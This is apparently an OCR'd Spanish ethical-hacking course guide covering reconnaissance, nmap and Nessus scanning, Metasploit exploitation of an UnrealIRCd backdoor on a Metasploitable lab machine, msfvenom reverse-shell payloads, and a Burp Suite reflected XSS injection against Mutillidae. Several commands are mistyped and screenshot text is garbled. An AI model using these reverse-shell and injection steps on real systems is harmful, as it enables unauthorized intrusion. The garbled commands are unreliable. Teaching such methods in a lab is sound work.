Guifa Hecking Etico

1. Recopilacion Pasiva:

Google Hacking: Informacidn basica.

TheHarvester: Recopilador de toda la informacion en linea del domino elegido
TheHarvester -d (direccion web) -b all [o cualquier otro navegador]

Maltego: Alternativa grafica a TheHarvester.

U distintos transformadores, que son los recursos para encontrar informacion.
recon ng: Alternativa a Maltego y TheHarvester.

Shodan: Sitio Web que nos permite indexar por puertos, servicios o hosts. Es principalmente
de pago, aunque puede ser Util en determinadas ocasiones con la opcién gratuita.

Censys: Alternativa a shodan.io

2.Recopilacion Semi-Pasiva:

La FOCA: Herramienta grafica. Busca los metadatos de los ficheros. Capaz de encontrar
informacién como usuario que cred el fichero, sistema operativo usado, programa y versién
con el que se cred el fichero. Dirigido a documentos ofimaticos (doc, docx, odt, pdf...)

DNSdumpster: Nos permite obtener de manera grafica una visidon general de la red (basado en
el registro de zona, podemos conseguir ips, host, NameServers, etc...)

PELIGRO: NECESIDAD DE CONTRATO

3.Recopilacion Activa:

Transferencias de zona (solo si no esta bien configurado):

Nslookup (solo en Windows): Conseguiremos el fichero de zona

Nslookup



Set type=ns (escogemos que nos devuelva solo los NameServers)

zonetrasnfer.me (ejemplo de sitio web del servidor al que vamos a atacar, nos
devolvera sus Nameservers)

set type=any (ahora, ponemos any, porque ya queremos que nos lo devuelva todo)
server nsztml.digi.ninja (NameServer al que vamos a atacar)

Is -d zonetransfer.me (ejemplo de sitio web al que atacar, nos devolvera el fichero de
zona)

DNSrecon (Linux):

dnsrecon -d (dominio) -axfr

NMAP:

Descubrir host: SIEMPRE USAR SUDO, es menos intrusivo y mas eficaz ( sin permisos
de root, solo comprueba si tiene algun servicio, no es muy fiable)

sudo nmap -sn (ip Host/ ip de la red/dominio)

La ip puede ser del dispositivo como por ejemplo 192.168.1.23 (comprueba si ese nodo en
concreto esta UP) o de la red, por ejemplo 192.168.1.0/24

Si no aplicamos SUDO con la red, Unicamente encuentra los dispositivos que responden a ping,
con sudo, encuentra todos.

sudo nmap -PS (ip host/ ip red) / sudo nmap -PS (ip) -p (puerto) -> comprueba un solo puerto

Comprueba los puertos abiertos

Descubrir puertos:
Los estados de los puertos son:

e Abierto: La aplicacion esta corriendo

e Cerrado: la aplicacion no estd corriendo

e Filtrado: posiblemente haya un firewall por medio
e Unfiltred: Nmap no sabe si estd filtrado o no

sudo nmap -sS (ip host) [-p (puerto) ] -> para analizar un puerto en concreto
si quiero hacerlo a varios host (un rango):

sudo nmap -sS 192.168.24.1-10 (ejemplo,buscaria en esas 10 direcciones IP)
ANALISIS para presentar:

sudo nmap -v --reason -sS -oX puerto.xml --stylesheet="https://svn.nmap.org/nmap/docs/nmap.xsl"
(ip/rango/ip red)



IMPORTANTE: la opcion -sS no termina el Threeway Handshake, por lo que algunos sistemas lo
detectan como una amenaza. Sin embargo, podemos usar la opcién -sT, que si termina el Threeway
Handshake. Cierto, manda mas paquetes a la red para terminarlo, pero paradéjicamente es menos
intrusivo.

sudo nmap -v --reason -sT -oX puerto.xml --stylesheet="https://svn.nmap.org/nmap/docs/nmap.xsl"
(ip/rango/ip red)

Descubrir servicios:
sudo nmap -sV (ip host) [-p 21]

Nos devuelve qué programa realmente esta usando el puerto abierto. Por ejemplo, no solo nos dice que
es un FTP porque es puerto 21, sino que nos dice la version de Proftpd que estemos usando. Incluso nos
dice el S.0. que corre la maquina. Todo esto lo hace por el banner que usan los programas.

Finalmente, un analisis detallado auin mejor seria:

sudo nmap -v --reason -sV -oX puertosyservicios.xml --
stylesheet="https://svn.nmap.org/nmap/docs/nmap.xsl" (ip/rango/ip red)

CONTRASTAR CON AMAP

Amap no viene por defecto instalada en Kali
sudo apt-get install amap
Primero generamos un documento con Nmap
sudo nmap -v --reason -sS -0A servicios.amap (ip)
Nos genera dos ficheros, usaremos el que acaba en gnmap
Finalmente ejecutamos amap

sudo amap -i servicios.amap.gnmap -B

Descubrir Sistema Operativo:
sudo nmap -v -O (ip)
SMB en Nmap:

SMB ha tenido y tiene muchos problemas de seguridad, por ello escanearlo siempre es buena idea. Para
comprobar si tiene alguna mdaquina, escaneamos por los puertos 139 y 445.

sudo nmap -v -sS -p 139,145 (ip)

Podemos hacer uso de los scripts que ya vienen creados en Nmap para recopilar recursos, se encuentran
en /usr/share/nmap/scripts

Podriamos listar con Is smb* y encontrar scripts que coincidan con SMB, para lanzar alguno usamos:
sudo nmap -v -sS -p 139,145 --script=smb-os-discovery (ejemplo de script) (ip)
En concreto este script devuelve con mucha precisién el sistema operativo de la victima.

Hay muchos script, como enumerar usuarios, grupos, etc...




EJEMPLOS VISUALES

sudo nmap -v -sS -p 139,145 --script=smb-enum-shares 192.168.52.132

ost script results:
smb-enum-sh

DENIED)

;arning: Couldn't

Couldn’'t get details

El resultado es que tenemos 3 carpetas compartidas, ADMIN, Cy IPC. Eso si, no ha conseguido acceso a
ellas.

Sin embargo, quizas al probar los usuarios con:

sudo nmap -v -sS -p 139,145 --script=smb-enum-users 192.168.52.132

SERVICE
nethios-ssn

3 (VMware)

imap done: addre ( canned in 1.46

Vemos que devuelve los puertos pero el script falla.

SNMP en Nmap:

SNMP es un protocolo que nos sirve para gestionar el dispositivo de red como un router, un
switch o servidores como Windows Server por el puerto 161 en UDP.

Para analizar los puertos UDP en Nmap usamos la opcion -sU en vez de la -sS que es de los TCP

Podriamos analizar si una maquina lo tiene con:
sudo nmap -v -sU -p 161 (ip)

Ahora, sabiendo que Nmap tiene muchos script, tan solo podriamos preguntarle si tiene algo
para SNMP con un listado

Is /usr/share/nmap/scripts | grep snmp*

Podemos hacer entonces uso de esos scripts tal y como lo hacemos con SMB.




EJEMPLOS VISUALES

sudo nmap -v -sU -p 161 --script=snmp-win32-software.nse 192.168.52.132

Minimum Runtime - 1
emove only;

Usamos el script contra nuestro Windows Server Metasploiteable y vemos que nos devuelve
mucho software que efectivamente estd instalado en nuestra maquina.

sudo nmap -v -sU -p 161 --script=snmp-win32-users.nse 192.168.52.132

STATE SERVICE

snmp

snmp-win user
Administrat
Guest

greedo
han_solo
j _hutt
»_binks
n
alrissian

Como vemos, en esta ocasion Si es capaz de encontrar TODOS los usuarios del sistema

sudo nmap -v -sU -p 161 --script=snmp-processes.nse 192.168.52.132

O Incluso puede listar TODOS los procesos.




Mencidn especial a

sudo nmap -v -sU -p 161 --script=snmp-win32-users.nse 192.168.52.132

PORT STATE SERVICE
£ snmp

epping 2 AT/AT COMPATIBLE - Software: Wi

! Script Post-scanning.

Incluso puede listar el procesador y el hardware de la maquina. Ideal para una posterior
explotacion

4.Andlisis de Vulnerabilidades:

CVE Mitre:
cve.mitre.org

Es un sitio web donde se recopilan todas las vulnerabilidades que se van descubriendo. En la
busqueda podemos poner el nombre de un programa y su version, descubierto antes en Nmap
por ejemplo, y nos devolvera las vulnerabilidades encontradas.

Aunque por norma general recopila los exploits asi como cddigo fuente para explotar la
vulnerabildidad, quizas sea mejor hacer una busqueda en Google para encontrar cédigo que la
explote de mejor manera, algo mas actual. Buscando en sitios como GitHub

CVSS:
nvd.nist.gov/vuln-metrics/cvss

Sitio Web de EEUU, que mide la peligrosidad de una vulnerabilidad. Tan solo copiamos el
cddigo CVE-XXXXX de la vulnerabilidad y buscamos. Es importante centrarnos en
vulnerabilidades altas por encima de las bajas.

CPE:

Es una cadena de texto que separa valores por dos puntos “:” que indican el fabricante, la
aplicacidn, la version, etc...

Por ejemplo :

*ok, ok, ok, ko

o cpe:2.3:a:proftpd:proftpd:1.3.5:-:

Esto nos permite identificar rapidamente vulnerabilidades
CVE Details:

www.cvedetails.com

Es un sitio web que agrupa todo lo anterior



https://nvd.nist.gov/products/cpe/detail/659328?keyword=cpe%3A2.3%3Aa%3Aproftpd%3Aproftpd%3A1.3.5%3A-%3A*%3A*%3A*%3A*%3A*%3A*&status=FINAL,DEPRECATED&orderBy=CPEURI&namingFormat=2.3
https://www.cvedetails.com/

Vulnerabilidades con Nmap:

Nmap también es capaz de encontrar vulnerabilidades. También filtra los scripts por tipos y
podemos pedirle que busque scripts especificos para las vulnerabilidades encontradas. NO ES
COMPARABLE A NESSUS, pero es una herramienta muy rapida y simple que puede ayudarnos.

Recuerda que toda esta actividad manda una gran cantidad de paquetes a la red, por lo que si
no vamos a tiro hecho, podemos causar la saturacion de la red y quizds tumbar un host o que
el sistema de protecciéon de anomalias si lo tiene instalado nos bloquee el paso

nmap.org/book/nse-usage.html

sudo nmap -v --reason -sS -oX vulnerabilidadesnmap.xml --
stylesheet="https://svn.nmap.org/nmap/docs/nmap.xsl" 192.168.52.132 --script=vuln

Una forma de poner dos ips seria 192.168.52.130,132 o en rango 192.168.52.130-140

De esa forma, busca para la 192.168.52.130y la 192.168.52.132

También podemos buscar vulnerabilidades para los puertos UDP:

sudo nmap -v --reason -sU -oX vulnerabilidadesnmap.xml --
stylesheet="https://svn.nmap.org/nmap/docs/nmap.xsl" 192.168.52.132 --script=vuln

Nessus:

Herramienta para analisis de vulnerabilidades.
Para usarla, iniciamos el servicio con:

sudo /bin/systemctl start nessusd.service
sudo service nessusd start

Una vez abierto, Nessus tiene una interfaz grafica web, asi que entramos en un navegador y
colocamos la direccién y el puerto (puede variar segun el S.0.):

https://kali:8834/#/

Escaneos de Hosts en Nessus:

Host Discovery: Al igual que Nmap, Nessus también puede escanear los hosts de una red.

Host Discovery



https://nmap.org/book/nse-usage.html
https://kali:8834/#/

New Scan / Host Discovery

¢ Back to Scan Templates

Settings Plugins
BASIC v
Name Host discovery test
General
Schedule o
Description pa desgubrir host XD
Notifications
DISCOVERY
REPORT Folder My Scans -
ADVANCED
Targets 192.168.52.0/24]
Upload Targets Add File

- Cancel

También se pueden programar varias cosas como quese ejecute a un determinado tiempo o
mande un correo electrénico

Settings Plugins

BASIC

Enabled .

NOTE: Only one schedule can be enabled. Any other scheduled scans will be disabled. Upgrade to Nessus Professional

General

Schedule

Notifications

DISCOVERY Frequency Once -

REPORT
Starts 05:00 = 2023-02-28

ADVANCED
Timezone America/New York -
Summary Once on Tuesday, February 28th, 2023 at 5:00 AM

Cancel

En la seccién DISCOVERY por ejemplo podemos programar que tipo de escaneo queremos
hacer, que mensajes de red se van a enviar, etc...

<B

Settings Plugins
BASIC
Scan Type Host enumeration -
REPORT
ADVANCED General Settings:

Always test the local Nessus host

Use fast network discovery

Ping hosts using:
TCP
ARP
ICMP (2 retries)

Cance)



Escaneo de vulnerabilidades: Nessus contiene bastantes herramientas para andlisis de
vulnerabilidades, algunas de ellas de vulnerabilidades muy famosas, como Meltdown, Spectre,
WannaCry...

Conforme estas vulnerabilidades son parcheadas en todos los sistemas, las actualizaciones de
Nessus van eliminando y anadiendo plantillas.

Ejemplo con WannaCry:

This policy is used to perform remote and local checks for vulnerabilities exploited by WannaCry Ransomware (M517-010/ CVE-201

software updates.

Name WannaCry test

Description Ejemplo de Wannacry

Folder My Scans -
Targets 192.168.52.132,192.168.52.130

Por supuesto, en DISCOVERY podemos especificar qué tipo de escaner hacer. Quizas uno mas
intrusivo donde abarque mas puertos. Como detalle, poca gente sabe que los puertos que
escanea Nessus por defecto vienen dados por un fichero que se encuentra en
/opt/nessus/var/nessus/nessus-services

Como vemos, la parte de Plugins esta vez si contiene los distintos plugins en los que se basa la
vulnerabilidad escogida en la plantilla:

Settings Credentials Plugins
PLUGIN FAMILY & TOTAL
Settings 1
Windaws 4

Windows : Microsoft Bulletins 1

En algunos escaneos, como el escaneo de malware, es necesario darle las credenciales de los
hosts para que pueda entrar en el sistema y buscar el malware.




Escaneo Avanzado de vulnerabilidades + Policy: Por defecto, el escaneo avanzado va a usar
todos los Plugins que se encuentren disponibles. Es extremadamente intrusivo.

B

Advanced Scan

Para usarla mejor, podemos usar Politicas (Polices) Podemos crear una nueva politica para el
Escaneo avanzado y afiadir opciones que se queden por defecto.

Policies

n

My Scans

All Scans

Trash
Policies allow you to create custom templates defining what actions are performed during a scan.

Once created, they can be selected from the list of scan templates. From this page you can view,

create, import, download, edit, and delete policies.

Policies

@ Terrascan

Dentro de la politica, podremos escoger la plantilla en la que basarnos y escoger todos los
campos que queramos como si fuera una plantilla mas. En el caso de crear con el escaner
avanzado es bastante util escoger qué plugins usar y cuales ignorar.

En la pestaia Advance, es importante conocer los Safe Checks. Los safe check previenen que
Nessus realice escaneos excesivamente intrusivos que podrian llegar a afectar o romper al
objetivo que se esté analizando.

Para usar esta plantilla, igualmente accedemos a crear un nuevo escaneo pero esta vez se
encontrara en la pestafia User Defined

Scan Templates

< Back t

Scanner User Defined

Escaneolntrusivo




Escaneo Avanzado Dinamico de vulnerabilidades: El problema con la politica que vemos en el
punto anterior es que como hemos mencionado, los plugins se quedan establecidos. Y como
ya sabemos, Nessus se va actualizando constantemente, haciendo que sea necesario un
constante mantenimiento que puede resultar tedioso. Para superar este obstaculo, el escaneo
Avanzado Dindmico permite agregar automaticamente plugins a nuestro escaneo en base a
una serie de reglas.

Advanced Dynamic Scan

Lo interesante se encuentra en la pestafia Dynamic Plugins:

New Policy / Advanced Dynamic Scan

< Back to Policy Templates

Settings Credentials Dynamic Plugins

Match | All  +  of the following:

CPE - contains - ftp

CVS5w2.0 Base Score i is more than hd 9

Preview Plugins

Plugin Name &

3CTftpSve Long Transport Mode Remote Overflow

CesarFTP settings.ini Authentication Credential Plaintext Disclosure
Core FTP < 2.2 build 1769 Multiple Buffer Overflows

Core FTP = 2.2 build 1785 CWD Command Buffer Overflow

En este ejemplo se puede seleccionar que en su CPE contenga la palabra ftp y que el Score de
peligrosidad sea mas de 9. A la derecha se debe seleccionar el S.O.

windows (13) -
Plugin ID
23735
11640

65789



Exportar resultados de Nessus: Para exportar el informe de Nessus entramos en el resultado
del escaneo deseado y pulsamos en Report

Generate Report

ReportFormat:  HTML ® PDF  CSV

Select a Report Template:

Template Deseription:
i

mmary list of vulnerabilities for each host
Complete List of Vulnerabilities by Host

Filters Applied:

Podemos seleccionar si lo queremos en HTML, PDF y CSV, ideal para adjuntarlo en nuestro
reporte de Hacking Etico.

Si queremos quitar la marca de agua del HTML, podemos Inspeccionar elemento y buscar la
etiqueta watermark y simplemente hacemos click derecho y Delete Node

ne;margin-left: 1l

5.Explotacion y Hacking de Hosts:

Metasploit:

Framework (conjunto de programas para el ataque). Se fundamenta en médulos.
Contiene los 3 tipos de Payloads:

e Singles. No depende de Metasploit. Son autosuficientes.

e Stagers: Crean la conexién para usar los Stages

e Stages: Atacan, es decir, ya usando la conexién del stager, ahora permite atacar de
manera avanzada, un ejemplo es Meterpreter.

Para entrar en Metasploit, podemos usar: sudo msfconsole

Connect: Hace lo mismo que Netcat, establece una conexidn TCP con otro nodo (host) de la
red.

connect (ip del nodo) (puerto a usar)
connect 192.168.1.30 4444

Para ello es necesario que el otro host esté escuchando, el otro host debe haber usado el
comando de NetCat:




Nc -l -p (puerto) -> nc -l -p 4444
Search: Nos permite buscar entre los miles de exploits que tiene Metasploit.
Search (nombre del exploit que busquemos)

Search unrealircp

Shell No.1
Actions Edit View Help

> search unrealirc

ng Modules

Disclosure Date Rank ( ck Description

UnrealIRCD

Como vemos, nos muestra el nombre y la ruta donde lo guarda, esto nos lleva a hablar del
siguiente comando.

Use: Permite cargar el exploit que vayamos a usar
use (nombre del exploit)

use use exploit/unix/irc/unreal_ircd_3281_backdoor

msf6 > search unrealirc

ing Modules

Name Disclosure Date Rank Check Description

6-12 ] UnrealIRCD

ct with a module by name or index. For example 1

Para cambiar de exploit, simplemente usamos back

A continuacién, una vez cargado el exploit, podemos usar la opcidon show options o show
advanced. Normalmente con show option, que muestra las opciones basicas, es mas que
necesario

Que nos permitira ver las opciones de este exploit. Ahora con el comando set introducimos la
opciones, por ejemplo RHOST, remote host o host a atacar, en este caso seria:

set RHOST 192.168.52.130



File Actions Edit View Help

msf6 exploit( ) > show options

Module options (exploit/unix/irc/unreal_irc _backdoor):

Name Current g Required Description

The t host ee htt thub.com/rap tasploit-framews fUsing-Metasploit

Exploit target:
Id Name

@ Automatic Target

View the full module info with the fo, or f command.
) > set RHOST 192

Una vez esté todo configurado, serd necesario indicar a Metasploit el Payload antes de correr
el exploit, pues, como ya sabemos, un exploit es solo un programa que abre la brecha de la
seguridad pero, realmente es el Payload el cddigo que ejecuta una accidn, es decir, es el
verdadero ataque.

Para mostrar los payloads que tiene Metasploit en su repositorio y que son compatibles con el
exploit que estamos configurando, usamos el comando show payloads

File Actions Edit View Help

Name C ting Required Desc

apid7/metasploit-frame i/using-Metasploit

Exploit target:
Id Name

atic Target

full module info with the fo, or 1 command .

w payloads

Check

L No
L No
L No
L No

msf6 exploit(

Ahora podemos seleccionar el payload con
set payload (nombre)
set payload payload/cmd/unix/reverse

Ahora al hacer show options, nos saldran las opciones del payload, y ahora tendremos otras
cosas que rellenar, por ejemplo, un LHOST (host que escucha, normalmente sera nuestra IP)



msf6 exploit(
payload = cmd/unix/reverse
msf6 exploit(

) > set payload payload/cmd/unix/reverse

) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name Current Setting Required Description

RHOSTS 192.168.52.130 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 6667 yes The target port (TCP)

Payload options (cmd/unix/reverse):

Name urrent Setting Required Description

LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 utomatic Target

View the full module info with the

msf6 exploit(
LHOST = 192.168.52.128
msf6 exploit(

command.

) > set LHOST 192.168.52.128

Simplemente ponemos set LHOST (ip) -> set LHOST 192.168.52.128

Y una vez esté todo configurado podemos correr el exploit con el comando exploit

Recuerda que si estas probando con Metasploiteable Ubuntu, es importante que borres las

normas del firewall con:
sudo iptables -F
Y luego adquirir una nueva ip con:

sudo dhclient

File Actions Edit View Help

Name

Exploit target:

Id Name

@ Automatic

A is input
Command she

Shell No.1

ption

command .

40161) at € 0 +0100

En este ejemplo, ya estariamos dentro de la maquina de Ubuntu Metasploiteable. Para salir de
la sesién. Usamos exit seguido de CTRL+C




Msfvenom: Mddulo de Metasploit para la creacién de payloads personalizados.

Puede preparar payloads directamente del repositorio de Metasploit para diferentes Sistemas
Operativos como Windows, 10s, Android...

Muy facilmente identificable por los antivirus. Por ejemplo
msfvenom -p python/reverse_tcp -lhost=192.168.1.133 -lport:4444

Es interesante mencionar que si usamos un payload mas complejo, como un meterpreter, es
necesario dejar un handler en Metasploit a la escucha,para que a la hora de hacer una Shell
inversa, pueda “coger el testigo”, eso es el Handler de Metasploit.

Para ello, desde Metasploit hacemos:

use /multi/handler

set los (nuestra ip)

set payload (mismo payload que hayamos programado en el anterior caso)
Al usar exploit, quedara a la espera de recibir la conexion.

Simplemente, si ejecutamos nuestro payload (usando Python desde nuestra maquina) ya
deberia recibir la conexidn y abrir el meterpreter.

Armitage:

Interfaz grafica de Metasploit.

Para instalar Armitage en las versiones actuales:
sudo apt install Armitage

Para Iniciarlo:

sudo service postgresql start

armitage

6.Explotacion y Hacking de Vulnerabilidades
Web:

Recomendable instalar Mutillidae, una herramienta como Metasploiteable pero con un
servicio web con varias vulnerabilidades que se va actualizando cada afio.

Burpsuite:

Burpsuite es una de las herramientas mas usadas y extendidas para el hacking ético en
vulnerabilidades web. Es un proxy http, un interceptor que puede recoger paquetes entre el
servidor y el cliente.



Pestaiia Proxy:

Para que Burpsuite pueda interceptar los paquetes, es imprescindible configurarlo como proxy
del navegador que estemos usando. Para ello, en la subpestafia Options, vemos que el listener

es 127.0.0.1:8080

Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp  Project  Intruder  Repeater Window  Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Project options
Intercept HTTP history WebSockets history Options

@ Proxy Listeners

@ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.

Add Running Interface Invisible Redirect Certificate TLS Pratacals
Edit 127.0.0.1:8080 Per-host Default
Remove

Each installation of Burp generates its own CA certificate that Proxy listeners can usewhen negotiating TLS connections. You can impart or export this certificate for usei

Impart | export CA certificate Regenerate CA certificate

(?) |Intercept Client Requests

s, Usethesesettings to control which requests are stalled for viewing and editing in the Intercept tab.

Con esto ahora, en la configuracién del proxy de nuestro navegador (en este caso usamos

Firefox):

Connection Settings

Configure Proxy Access to the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
© Manual proxy configuration
‘ HTTP Proxy | 127.0.0.1
Also use this proxy for HTTPS

HTTPS Proxy

SOCKSv4 © SOCKSwv5

Auternatic proxy configuration URL

No proxy for

Example: .mozilla.org, .net.nz, 192.168.1.0/24

Connections to localhost, 127.0.0.1/8, and ::1 are never proxied.

Help Cancel




Para iniciar la intercepcién usamos Intercep ON.

El resultado es que recibimos una peticidn con la informacién del servidor, podemos
modificarla y continuar al usar Forward:

% Burp Suite Community E
Burp  Project  Intruder Repeater ‘Window  Help
Dashboard Target F Intruder Repeater Sequencer Decoder Comparer
HTTP history WebSockets history Options

/¥ Request to http://192.168.52.134:80

Forward Drop Intercept is on Action Open Browser

Raw Hex
1 GET /mutillidae/index. php?page=user-infeo. php HTTR/1.1
2 Host: 192.168.52.134
2 User-Agent: Meozilla/5. 0 (X11; Linux xBE6_64; rv:102. 0) Gecke/20180101 Firefeox/102.08
4 Accept: text/html, spplication/zhtml+xml, spplication/zml; 0. 9, image/avif, image/webp, */*; c=0. 8
5 Mccept-Language: en-US en; 0.5
= Mccept-Encoding: gzip, deflate
7 Referer: http://192. 188.52. 134/mutillidae/index. php?page=add-to-your-kleg. php
% Connection: close
S Cookle: PHPSESSID=cpd4isSgsleierurrfitlSglh8p; shewhints=1
10 Upgrade-Insecure-Reguests: 1
11
1z

Es recomendable activar la opcién desde la subpestafia Options:

@ Intercept Server Respenses

@ Usghese settings to control which responses are stalled for viewing and editing in the Intercept tab.

tercept responses based on the following rules:

Add Enabled  Operator Match type Relationship Condition
Edit Content type hea... Matches text
or Reauest Was modified

Esto nos permitird, no solo que intercepte la respuesta Servidor-Cliente, sino también la
peticién Cliente-Servidor.

Pestaiia Target: Burpsuite es capaz de analizar una aplicacién web de manera automatica
parsea el cédigo fuente recibido de una pagina web. Con esa breve informacion identifica
todos los apartados posibles para después usarlas como Targets. A este proceso se le
denomina Spidering Pasivo o Crawling. Los grises son descubiertos, los negros son visitados.

Burp Suite Community Edition v2022.9.6 - Temporary Project

Burp  Project Intruder Repester Window  Help
Dashboard Target Proxy Intruder Repester  Sequencer Decoder  Comparer Logger Extender Project options User aptions

Site map Scope Issue definitions

| Fiter: Hiding not found items; hiding S5, image and general binary cantent; hiding 4xx responses; hiding empty falders

Host Method URL Params Stat..~ length  MIMEtype Title
= mutillidae.

B documentation hitp:j192168.52134  GET Imutillidaefindex. php?. v w0 ST79 HTML
hitp:f92168.52134  GET Imutillidsefjavascriptid 200 BIW  script
http:/f192.168.52134  GET Imutillidaefjavascriptig. 200 4532 script
http:/f192.168.52134  GET Imutillidaefjavascript/hi 100 1332 script
hitpiife2168.52134  GET  Jmutillidaefjavaseriptin 200 621 script
http:if192168.52134  GET  Jmutillidaefjavascriptiin 200 mn script
hitp:H92168.52134  GET Imutillidaefjavascriptiin 200 817 script
hitp:jfl92.168.52134  GET Imutillidsefjavascript/in 200 398 script
http:/f192.168.52134  GET Imutillidaefjavascriptin 100 1615 script
hitp:/192.168.52.134 GET Jmutillidaefjavascript/j. 200 10123 script
http:/192.168.52.134 GET. Jmutillidaefjavaseript/i. 200 268026 script

Request Response
Raw Hex an =

1 GET /mutillidae/index.php HTTP/L.1

2 Host: 192.168.52.13%

3 Accept-Encoding: gzip, deflate

4 Accapt: /v

5 Accept-Langusge: en-US;Gr0.3,2n;cF0.8

€ User-Agent: Mozilla/S.0 (Windows NT 10.0, Wing4; x&4]
AppleebKit/537.36 (KHTHL, Like Gacko)
Chrame/107. 0. 5304.107 Safari/537.36

7 Comnection: close

6 Cache-Control: max-age=0

9

10

account-profile.php



Para hacer un Spidering Activo y descubrir mas cosas seria necesario tener la versidn de pago
de Burpsuite o una version anterior, cuando si era posible hacerlo con la version de prueba.

Sin embargo, podemos usar la herramienta Skipfish (no esta relacionada con Burpsuite) para
ello:

Skipfish: Herramienta de terminal para realizar spidering.
Para no ser tan intrusivos, evitamos hacer fuzzing con diccionarios.

skipfish -YO -o Desktop/skipfish http://192.168.52.134/mutillidae/index.php

Este proceso puede tardar bastante, va a recopilar todos los apartados de ese sitio. El
resultado es un html bastante decorado que nos indicard todo lo que ha encontrado.

Inyecciones de Cddigo en Burpsuite:
Normalmente existen 3 tipos de puntos de inyeccién:

7. Los parametros de la cabecera (Cuando usa method GET)
8. Los parametros del body (Cuando usa method POST)
9. Las cookies

Podemos modificar los parametros antes de hacer el Forward

Un “canario” es una palabra clave que vamos a mandar para poder analizar el codigo de
respuesta donde hayamos metido esa palabra. Es importante que sea sencillo, nUmeros y
letras, pero no caracteres especiales.

Veasé el método:

Please enter username and password
to view account details

Name canario

Password [.i-..........-.. ]

[ View Account Details ]

Dont have an account? Please register here

(7 Request ta http:/192.168.52.134:80

Farward Drop Intercept is on Action Open Browser
Raw  Hex e

GET /mutillidaes/index. php?page=user-info. phpusernane=canariofpassword=canario_passwordiuser-info-php-submit-buttoreViewtdccount+Details HTTP/1.1
Host: 192.162 52 134

User-Agent: Mozilla/S.0 (X11; Linux xB86_64; rv:102.0) Gecko/20100101 Firsfox/102.0

Accept: text/html,application/xhtml+xml, application/xml; 0. 9, image/avif, inage/webp, */%; cF0. 8
Accept-Language: en-US, en; 0.5

Accept-Encoding: gzip, deflate

Referer: http: //192.168.52.134/mutillidae/index. php?pagesuser-info. php

Connection: close

Cookie: PHPSESSID=cpd4isSgsleierurrfitlSqlhgp; showhints=1

10 Upgrade-Insecure-Requests: 1

11

QU e W

wom o

Notesé que los parametros estan coloreados de rojo y los puntos de inyeccién de azul.
Observamos que en la respuesta del servidor (podemos usar la barra de abajo para buscar la
palabra, en este caso nuestro canario es “canario”:



http://192.168.52.134/mutillidae/index.php

Response from http:/f192.168.52.134:80/mutillidaefindex. php?page=user-info.php&username=canario & password=canario_password Euser-info-php-submit-button=View+Acco

Forward Drop Intercep Action Open Browser
Pretty Raw Hex Render
=ftre
<tr=
<td=
=/ftel=
< ftr=
262 <tr=
263 =<td colsparm"2" style="text-align:center; font-style: italic;"=
264 Dont have an account? <a href="?page=register. php"=
Flease register here
= fa=
265 <ftd=
266 <ftr>
267 =ftable>
</form=

<div class"report-header"=
Results for &quet;<span style="color:#770000; ">
canario
<fspan>
&quet; . @ records found.
272 = fdiv=
<script>
document . getElementByIdi "id-bad-cred-tr"]. style. display=
< fscript®
<l-- T think the database password is set to blank or perhaps samurai.
It depends on whether you installed this web app from irongeeks site or
are using it inside Kevin Johnsons Samural web testing framework.
It is ck te put the password in HTML comments because no user will ever see
this comment. I remember that security instructor saying we should use the
framework comment symbols (ASP.NET, JAVA, PHP, Etc.)
rather than HTML comments, but we all know those
security instructors are just making all this up. --= <l-- End Content --=
<ftd=
=ftre
<tr class="main-table-frame-dark">

@ @ | |2 canarinl

Notesé que en este caso, no encuentra “canario_password”. En el contexto en el que esta es
un campo HTML.

Ejemplo de inyeccién:

Estamos observando que “canario” cierra una etiqueta </span>, asi que podriamos mandar
una etiqueta que cierra y enviar un script javascript tal que asi:

Raw Hex e 3 a o=

- GET /mutillidae/index. php?page=user-info. php&username=</span=<script=alertialerta. xss) </script=&password=canario_pass&user-info-php-submit -buttore
ViewtAccount+Details HTTR/1.1
Host: 1592.168.52.134
User-Agent: Mozilla/S.0 (¥11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: text/html, application/xhtml+xml, application/xml; cE0. 9, image/avif, image/webp, */*, =0. 8
Accept-Language: en-US, en;cF0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.52. 134/nutillidae/index. php?page=user-info. php

Connection: cleose

Cookie: PHPSESSID=cp4isSgsleierurrfitlSqlhép; showhint==1

Upgrade-Insecure-Requests: 1

En la pestafia Decoder, podemos codificarlo en forma de URL (pulsamos en Encode as...):

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Logger Extender Praject options User options Learn

O Text Hex

Decodeas

<fspans<scriptzalert(“alerta xss

Encodeas
Hash ...

Smart decode

%3¢ % 2T HT0WE1%6e0 Ieth I I TI 639 T2EIHTOMTA W IeWE1 % 6c ¥ 650 TZHT4% 28% 2246190 6 S B 50 T2 HTA M6 1% 260 TR WT 3% T3 % 220029 % 3c %2 T3 %63 WT2H 6% T0% T4 b 3e O text Hex
Decodeas
Encodeas ...
Hash ...

Smart decode



Tan solo copiamos y pegamos el texto obtenido en la peticidn de la pestafia Proxy:

Pretty Raw Hex [ = Il

. GET /mutillidse/index. php?page=user-info. phpéusernsme=|
%% 2% T P T (%6 %% 3% 30 % T 3% 6 3% T 26 5% T 0 T 4% 3e% 6 1 %6 %6 5% 7 2% T 4% 2 8% 2 2% 6 1 %6 C% 6 5% 7 2% T 4% 6 1% 2% T 8% T 3% T 3% 22% 255 30 % 2 % 7 6 3% 7 2%65% T % T 4% 3eépassword=canario_passé
user-info-php-submit-buttoreView+Account+Details HTTP/1.1
! Host: 192 168.52.134
i User-Agent: Mozillass.© (X11; Linux x86_64; rv:102.0) Gecko,/20100101 Firefox/102.0
Accept: text/html, application/xhtml+xnl, application/xml; = 0.9, image/avif, inage/webp, /%, =0.8
| Accept-Langusge: en-lS, en; cr0. 5
| Accept-Encoding: gzip, deflate
" Referer: http://192. 162, 52. 134/mutillidae/index. php?page=user-info. php
{ Connection: close
Cookie: PHPSESSID=cp4isSgsleierurrfitlSqlhp; showhints=1
Upgrade-Insecure-Requests: 1

Y al hacer los respectivos Forwards:

@ 192.168.52.134

Habremos inyectado un cddigo javascript en esta aplicacidon web.

